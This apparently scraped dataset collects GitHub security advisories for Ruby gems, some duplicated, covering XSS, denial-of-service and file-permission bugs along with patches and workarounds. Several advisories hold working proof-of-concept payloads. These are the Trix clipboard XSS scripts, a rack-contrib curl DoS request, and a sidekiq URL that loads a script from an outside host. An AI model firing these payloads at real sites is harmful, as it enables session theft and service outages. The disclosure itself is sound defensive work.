deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-qjqp-xr96-cj99
Package: actiontext (RUBYGEMS)
Severity: MODERATE (CVSS 5.4)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 7.0.0.alpha1, < 7.0.8.3
Patched in: 7.0.8.3

Summary: Trix Editor Arbitrary Code Execution Vulnerability

Details:
The Trix editor, versions prior to 2.1.1, is vulnerable to arbitrary code execution when copying and pasting content from the web or other documents with markup into the editor. The vulnerability stems from improper sanitization of pasted content, allowing an attacker to embed malicious scripts which are executed within the context of the application.

**Vulnerable Versions**: 

- 1.x series up to and including 1.3.1
- 2.x series up to and including 2.1.0

**Fixed Versions**: 

- v1.3.2
- v2.1.1

**Vector**:

- **Bug 1**: When copying content manipulated by a script, such as:

```js
document.addEventListener('copy', function(e){
  e.clipboardData.setData('text/html', '<div><noscript><div class="123</noscript>456<img src=1 onerror=alert(1)//"></div></noscript></div>');
  e.preventDefault();
});
```

and pasting into the Trix editor, the script within the content is executed.

- **Bug 2**: Similar execution occurs with content structured as:

```js
document.write(`copy<div data-trix-attachment="{&quot;contentType&quot;:&quot;text/html&quot;,&quot;content&quot;:&quot;&lt;img src=1 onerror=alert(101)&gt;HELLO123&quot;}"></div>me`);
```

### Impact:
An attacker could exploit these vulnerabilities to execute arbitrary JavaScript code within the context of the user's session, potentially leading to unauthorized actions being performed or sensitive information being disclosed.

### Remediation:

**Update Recommendation**: Users should upgrade to Trix editor version 2.1.1 or later, which incorporates proper sanitization of input from copied content.

**CSP Enhancement**: Additionally, enhancing the Content Security Policy (CSP) to disallow inline scripts can significantly mitigate the risk of such vulnerabilities. Set CSP policies such as script-src 'self' to ensure that only scripts hosted on the same origin are executed, and explicitly prohibit inline scripts using script-src-elem.

### References:
  - https://github.com/basecamp/trix/releases/tag/v2.1.1
  - https://github.com/basecamp/trix/pull/1147
  - https://github.com/basecamp/trix/pull/1149
  - https://github.com/basecamp/trix/pull/1153

**Credit**: These issues were reported by security researchers [loknop](https://hackerone.com/loknop) and [pinpie](https://hackerone.com/pinpie).
GitHub Security Advisory: GHSA-9mg6-x45v-hcfm
Package: activeadmin (RUBYGEMS)
Severity: HIGH (CVSS 7.2)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 4.0.0.beta1, < 4.0.0.beta7
Patched in: 4.0.0.beta7

Summary: activeadmin vulnerable to stored persistent cross-site scripting (XSS) in dynamic form legends

Details:
### Impact

Users settings their active admin form legends dynamically may be vulnerable to stored XSS, as long as its value can be injected directly by a malicious user.

For example:

* A public web application allows users to create entities with arbitrary names.
* Active Admin is used to administrate these entities through a private backend.
* The form to edit these entities in the private backend has the following shape (note the dynamic `name` value dependent on an attribute of the `resource`):

```ruby
  form do |f|
    f.inputs name: resource.name do
      f.input :name
      f.input :description
    end

    f.actions
  end
```

Then a malicious user could create an entity with a payload that would get executed in the active admin administrator's browser.

Both `form` blocks with an implicit or explicit name (i.e., both `form resource.name` or `form name: resource.name` would suffer from the problem), where the value of the name can be arbitrarily set by non admin users.

### Patches

The problem has been fixed in ActiveAdmin 3.2.2 and ActiveAdmin 4.0.0.beta7.

### Workarounds

Users can workaround this problem without upgrading by explicitly escaping the form name using an HTML escaping utility. For example:

```ruby
  form do |f|
    f.inputs name: ERB::Util.html_escape(resource.name) do
      f.input :name
      f.input :description
    end

    f.actions
  end
```
Upgrading is of course recommended though.

### References
https://owasp.org/www-community/attacks/xss/#stored-xss-attacks
GitHub Security Advisory: GHSA-9mg6-x45v-hcfm
Package: activeadmin (RUBYGEMS)
Severity: HIGH (CVSS 7.2)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 3.2.2
Patched in: 3.2.2

Summary: activeadmin vulnerable to stored persistent cross-site scripting (XSS) in dynamic form legends

Details:
### Impact

Users settings their active admin form legends dynamically may be vulnerable to stored XSS, as long as its value can be injected directly by a malicious user.

For example:

* A public web application allows users to create entities with arbitrary names.
* Active Admin is used to administrate these entities through a private backend.
* The form to edit these entities in the private backend has the following shape (note the dynamic `name` value dependent on an attribute of the `resource`):

```ruby
  form do |f|
    f.inputs name: resource.name do
      f.input :name
      f.input :description
    end

    f.actions
  end
```

Then a malicious user could create an entity with a payload that would get executed in the active admin administrator's browser.

Both `form` blocks with an implicit or explicit name (i.e., both `form resource.name` or `form name: resource.name` would suffer from the problem), where the value of the name can be arbitrarily set by non admin users.

### Patches

The problem has been fixed in ActiveAdmin 3.2.2 and ActiveAdmin 4.0.0.beta7.

### Workarounds

Users can workaround this problem without upgrading by explicitly escaping the form name using an HTML escaping utility. For example:

```ruby
  form do |f|
    f.inputs name: ERB::Util.html_escape(resource.name) do
      f.input :name
      f.input :description
    end

    f.actions
  end
```
Upgrading is of course recommended though.

### References
https://owasp.org/www-community/attacks/xss/#stored-xss-attacks
GitHub Security Advisory: GHSA-8c8q-2xw3-j869
Package: rack-contrib (RUBYGEMS)
Severity: HIGH (CVSS 8.6)
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: < 2.5.0
Patched in: 2.5.0

Summary: rack-contrib vulnerable to Denial of Service due to the unconstrained value of the incoming "profiler_runs" parameter

Details:
### Summary

The next ruby code is vulnerable to denial of service due to the fact that the user controlled data `profiler_runs` was not contrained to any limitation. Which would lead to allocating resources on the server side with no limitation (CWE-770).

```ruby
        runs = (request.params['profiler_runs'] || @times).to_i
        result = @profile.profile do
          runs.times { @app.call(env) }
        end
```

An exploit as such `curl --fail "http://127.0.0.1:9292/?profiler_runs=[PII_REDACTED]&profile=process_time"` may cause resource exhaution by a remotely controlled value.

### PoC

Herein the `config.ru` file: 

```ruby
require 'rack'
require 'rack/contrib'

use Rack::Profiler # if ENV['RACK_ENV'] == 'development'

# Define a Rack application
app = lambda do |env|
  # Your application logic goes here
  [200, {}, ["Hello World"]]
end

# Run the Rack application
run app
```

A Dockerfile:

```Dockerfile
# Use the official Ruby image as a base
FROM ruby:latest

# Set the working directory inside the container
WORKDIR /app

# Copy the custom config.ru file into the container
COPY config.ru .
COPY Gemfile .

# Install rack and the gems needed to run the app
RUN bundle install

# Expose the port that rackup will listen on
EXPOSE 9292

# Run rackup when the container starts
ENTRYPOINT ["rackup","--host","0.0.0.0","--port","9292"]

# Health check
HEALTHCHECK --interval=3s --timeout=10s --start-period=2s --retries=3 CMD curl --fail http://localhost:9292/ || exit 1

```

A Gemfile 

```
source 'https://rubygems.org'

gem 'rack', '~> 2.0'
gem 'rack-contrib', '~> 2.4'
gem 'rackup'
gem 'ruby-prof'
```

A Docker compose

```Dockerfile
services:
  app:
    build:
      context: .
    ports:
      - "9292:9292"
```

To run the PoC 

```bash
docker compose up --build
```

To exploit DoS: 

```bash
curl  "http://127.0.0.1:9292/?profiler_runs=[PII_REDACTED]&profile=process_time"
```

### Impact
 - Potential denial of service by remotely user-controlled data.
GitHub Security Advisory: GHSA-7r3j-qmr4-jfpj
Package: kaminari (RUBYGEMS)
Severity: MODERATE (CVSS 6.6)
CWE: CWE-276: Incorrect Default Permissions
Vulnerable versions: >= 0.15.0, <= 0.16.1
Patched in: 0.16.2

Summary: Kaminari Insecure File Permissions Vulnerability

Details:
A moderate severity security vulnerability has been identified in the Kaminari pagination library for Ruby on Rails, concerning insecure file permissions. This advisory outlines the vulnerability, affected versions, and provides guidance for mitigation.

### Impact

This vulnerability is of moderate severity due to the potential for unauthorized write access to particular Ruby files managed by the library. Such access could lead to the alteration of application behavior or data integrity issues.

### Resolution

Those who use the `gem install` command, such as `gem install kaminari -v 0.16.1`, `gem unpack kaminari -v 0.16.1`, or `bundle install` to download the package would **_not_** be affected and no action is required. 

Those who manually download and decompressing the affected versions are advised to update to 0.16.2 or later version of Kaminari where file permissions have been adjusted to enhance security.

### Workarounds

If upgrading is not feasible immediately, manually adjusting the file permissions on the server to `644` to restrict access is a viable interim measure.

#### All Affected Versions:

```
lib/kaminari/models/page_scope_methods.rb
```

In addition to the previously mentioned files, security tools like AWS Inspector might also identify other files as unsafe. These files, although not loaded or used at runtime, may still be flagged. To avoid any potential confusion in your logs and ensure system integrity, we recommend updating the permissions for these files as well. This proactive measure helps maintain a clean security posture and minimizes unnecessary alerts.

#### Version 0.15.0 and 0.15.1:

```
spec/models/mongo_mapper/mongo_mapper_spec.rb
```

#### Version 0.16.0:

```
spec/models/mongo_mapper/mongo_mapper_spec.rb
spec/models/mongoid/mongoid_spec.rb
```

#### Version 0.16.1:

```
spec/models/active_record/scopes_spec.rb
spec/models/mongo_mapper/mongo_mapper_spec.rb
spec/models/mongoid/mongoid_spec.rb
gemfiles/data_mapper_12.gemfile
gemfiles/active_record_32.gemfile
```

### References

Official Kaminari repository link (this page)

### Acknowledgements

We thank [Gareth Jones](https://github.com/G-Rath) for discovering and reporting this issue. Their diligent work is instrumental in our ongoing efforts to maintain and improve software security.
GitHub Security Advisory: GHSA-vg3r-rm7w-2xgh
Package: rexml (RUBYGEMS)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-400: Uncontrolled Resource Consumption
Vulnerable versions: < 3.2.7
Patched in: 3.2.7

Summary: REXML contains a denial of service vulnerability

Details:
### Impact

The REXML gem before 3.2.6 has a DoS vulnerability when it parses an XML that has many `>`s in an attribute value.

If you need to parse untrusted XMLs, you may be impacted to this vulnerability.

### Patches

The REXML gem 3.2.7 or later include the patch to fix this vulnerability.

### Workarounds

Don't parse untrusted XMLs.

### References

* https://www.ruby-lang.org/en/news/2024/05/16/dos-rexml-cve-2024-35176/
GitHub Security Advisory: GHSA-r3w4-36x6-7r99
Package: nokogiri (RUBYGEMS)
Severity: LOW (CVSS 0.0)
CWE: CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer
Vulnerable versions: < 1.16.5
Patched in: 1.16.5

Summary: Duplicate Advisory: Nokogiri updates packaged libxml2 to v2.12.7 to resolve CVE-2024-34459

Details:
## Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-r95h-9x8f-r3f7. This link is maintained to preserve external references.

## Original Description

## Summary

Nokogiri v1.16.5 upgrades its dependency libxml2 to
[2.12.7](https://gitlab.gnome.org/GNOME/libxml2/-/releases/v2.12.7) from 2.12.6.

libxml2 v2.12.7 addresses CVE-2024-34459:

- described at https://gitlab.gnome.org/GNOME/libxml2/-/issues/720
- patched by https://gitlab.gnome.org/GNOME/libxml2/-/commit/2876ac53

## Impact

There is no impact to Nokogiri users because the issue is present only
in libxml2's `xmllint` tool which Nokogiri does not provide or expose.

## Timeline

- 2024-05-13 05:57 EDT, libxml2 2.12.7 release is announced
- 2024-05-13 08:30 EDT, nokogiri maintainers begin triage
- 2024-05-13 10:05 EDT, nokogiri [v1.16.5 is released](https://github.com/sparklemotion/nokogiri/releases/tag/v1.16.5)
  and this GHSA made public
GitHub Security Advisory: GHSA-r95h-9x8f-r3f7
Package: nokogiri (RUBYGEMS)
Severity: LOW (CVSS 0.0)
CWE: CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
Vulnerable versions: < 1.16.5
Patched in: 1.16.5

Summary: Nokogiri updates packaged libxml2 to v2.12.7 to resolve CVE-2024-34459

Details:
## Summary

Nokogiri v1.16.5 upgrades its dependency libxml2 to [2.12.7](https://gitlab.gnome.org/GNOME/libxml2/-/releases/v2.12.7) from 2.12.6.

libxml2 v2.12.7 addresses CVE-2024-34459:

- described at https://gitlab.gnome.org/GNOME/libxml2/-/issues/720
- patched by https://gitlab.gnome.org/GNOME/libxml2/-/commit/2876ac53


## Impact

There is no impact to Nokogiri users because the issue is present only in libxml2's `xmllint` tool which Nokogiri does not provide or expose.


## Timeline

- 2024-05-13 05:57 EDT, libxml2 2.12.7 release is announced
- 2024-05-13 08:30 EDT, nokogiri maintainers begin triage
- 2024-05-13 10:05 EDT, nokogiri [v1.16.5 is released](https://github.com/sparklemotion/nokogiri/releases/tag/v1.16.5) and this GHSA made public
GitHub Security Advisory: GHSA-9p57-h987-4vgx
Package: phlex (RUBYGEMS)
Severity: HIGH (CVSS 7.1)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 1.10.0, < 1.10.2
Patched in: 1.10.2

Summary: Phlex vulnerable to Cross-site Scripting (XSS) via maliciously formed HTML attribute names and values

Details:
There is a potential cross-site scripting (XSS) vulnerability that can be exploited via maliciously crafted user data.

The reason these issues were not detected before is the escapes were working as designed. However, their design didn't take into account just how recklessly permissive browser are when it comes to executing unsafe JavaScript via HTML attributes.

### Impact

If you render an `<a>` tag with an `href` attribute set to a user-provided link, that link could potentially execute JavaScript when clicked by another user.

```ruby
a(href: user_profile) { "Profile" }
```

If you splat user-provided attributes when rendering any HTML or SVG tag, malicious event attributes could be included in the output, executing JavaScript when the events are triggered by another user.

```ruby
h1(**JSON.parse(user_attributes))
```

### Patches
Patches are [available on RubyGems](https://rubygems.org/gems/phlex) for all minor versions released in the last year.

- [1.10.2](https://rubygems.org/gems/phlex/versions/1.10.2)
- [1.9.3](https://rubygems.org/gems/phlex/versions/1.9.3)

If you are on `main`, it has been patched since [`da8f943`](https://github.com/phlex-ruby/phlex/commit/da8f94342a84cff9d78c98bcc3b3604ee2e577d2)

### Workarounds
Configuring a [Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy) that does not allow [`unsafe-inline`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy#unsafe-inline) would effectively prevent this vulnerability from being exploited.

### References

In addition to upgrading to a patched version of Phlex, we strongly recommend configuring a Content Security Policy header that does not allow `unsafe-inline`. Here’s how you can configure a Content Security Policy header in Rails. https://guides.rubyonrails.org/security.html#content-security-policy-header
GitHub Security Advisory: GHSA-9p57-h987-4vgx
Package: phlex (RUBYGEMS)
Severity: HIGH (CVSS 7.1)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 1.9.3
Patched in: 1.9.3

Summary: Phlex vulnerable to Cross-site Scripting (XSS) via maliciously formed HTML attribute names and values

Details:
There is a potential cross-site scripting (XSS) vulnerability that can be exploited via maliciously crafted user data.

The reason these issues were not detected before is the escapes were working as designed. However, their design didn't take into account just how recklessly permissive browser are when it comes to executing unsafe JavaScript via HTML attributes.

### Impact

If you render an `<a>` tag with an `href` attribute set to a user-provided link, that link could potentially execute JavaScript when clicked by another user.

```ruby
a(href: user_profile) { "Profile" }
```

If you splat user-provided attributes when rendering any HTML or SVG tag, malicious event attributes could be included in the output, executing JavaScript when the events are triggered by another user.

```ruby
h1(**JSON.parse(user_attributes))
```

### Patches
Patches are [available on RubyGems](https://rubygems.org/gems/phlex) for all minor versions released in the last year.

- [1.10.2](https://rubygems.org/gems/phlex/versions/1.10.2)
- [1.9.3](https://rubygems.org/gems/phlex/versions/1.9.3)

If you are on `main`, it has been patched since [`da8f943`](https://github.com/phlex-ruby/phlex/commit/da8f94342a84cff9d78c98bcc3b3604ee2e577d2)

### Workarounds
Configuring a [Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy) that does not allow [`unsafe-inline`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy#unsafe-inline) would effectively prevent this vulnerability from being exploited.

### References

In addition to upgrading to a patched version of Phlex, we strongly recommend configuring a Content Security Policy header that does not allow `unsafe-inline`. Here’s how you can configure a Content Security Policy header in Rails. https://guides.rubyonrails.org/security.html#content-security-policy-header
GitHub Security Advisory: GHSA-h3r8-h5qw-4r35
Package: sidekiq (RUBYGEMS)
Severity: HIGH (CVSS 8.3)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 7.0.4, < 7.0.8
Patched in: 7.0.8

Summary: sidekiq vulnerable to cross-site scripting 

Details:
sidekiq from 7.0.4 to 7.0.7 is vulnerable to reflected cross-site scripting. A fix was released in version 7.0.8.
GitHub Security Advisory: GHSA-q655-3pj8-9fxq
Package: sidekiq (RUBYGEMS)
Severity: MODERATE (CVSS 5.5)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 7.2.0, < 7.2.4
Patched in: 7.2.4

Summary: Sidekiq vulnerable to a Reflected XSS in Queues Web Page

Details:
### Description:
During the source Code Review of the metrics.erb view of the Sidekiq Web UI, A reflected XSS vulnerability is discovered. The value of substr parameter is reflected in the response without any encoding, allowing an attacker to inject Javascript code into the response of the application. 

This vulnerability can be exploited to target the users of the application, and users of other applications deployed on the same domain or website as that of the Sidekiq website. Successful exploit results may result in compromise of user accounts and user data.

### Impact:
The impact of this vulnerability can be severe. An attacker could exploit it to target users of the Sidekiq Web UI. Moreover, if other applications are deployed on the same domain or website as Sidekiq, users of those applications could also be affected, leading to a broader scope of compromise. Potentially compromising their accounts, forcing the users to perform sensitive actions, stealing sensitive data, performing CORS attacks, defacement of the web application, etc.

### Mitigation:
Encode all output data before rendering it in the response to prevent XSS attacks.

### Steps to Reproduce:
1. Go to the following URL of the sidekiq Web UI: 
https://{host}/sidekiq/metrics?substr=beret%22%3E%3Cscript%20src=%22https://cheemahq.vercel.app/a.js%22%20/%3E
2. XSS payload will be executed, causing a popup.

### Evidence:

![image](https://github.com/sidekiq/sidekiq/assets/59286712/9b7efa06-60bc-4d72-bb37-c[PII_REDACTED]e)
Figure 1: Source Code Vulnerable to XSS

![image](https://github.com/sidekiq/sidekiq/assets/59286712/7a801feb-d495-416e-8e0e-36dee0eadf85)
Figure 2: XSS payload triggered
GitHub Security Advisory: GHSA-g7xq-xv8c-h98c
Package: phlex (RUBYGEMS)
Severity: HIGH (CVSS 7.1)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), CWE-87: Improper Neutralization of Alternate XSS Syntax
Vulnerable versions: < 1.4.2
Patched in: 1.4.2

Summary: Cross-site Scripting (XSS) possible due to improper sanitisation of `href` attributes on `<a>` tags

Details:
### Summary
There is a potential cross-site scripting (XSS) vulnerability that can be exploited via maliciously crafted user data.

Our filter to detect and prevent the use of the `javascript:` URL scheme in the `href` attribute of an `<a>` tag could be bypassed with tab `\t` or newline `\n` characters between the characters of the protocol, e.g. `java\tscript:`.

### Impact

If you render an `<a>` tag with an `href` attribute set to a user-provided link, that link could potentially execute JavaScript when clicked by another user.

```ruby
a(href: user_profile) { "Profile" }
```

### Mitigation

The best way to mitigate this vulnerability is to update to one of the following versions:

- [1.10.1](https://rubygems.org/gems/phlex/versions/1.10.1)
- [1.9.2](https://rubygems.org/gems/phlex/versions/1.9.2)
- [1.8.3](https://rubygems.org/gems/phlex/versions/1.8.3)
- [1.7.2](https://rubygems.org/gems/phlex/versions/1.7.2)
- [1.6.3](https://rubygems.org/gems/phlex/versions/1.6.3)
- [1.5.3](https://rubygems.org/gems/phlex/versions/1.5.3)
- [1.4.2](https://rubygems.org/gems/phlex/versions/1.4.2)

### Workarounds
Configuring a [Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy) that does not allow [`unsafe-inline`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy#unsafe-inline) would effectively prevent this vulnerability from being exploited.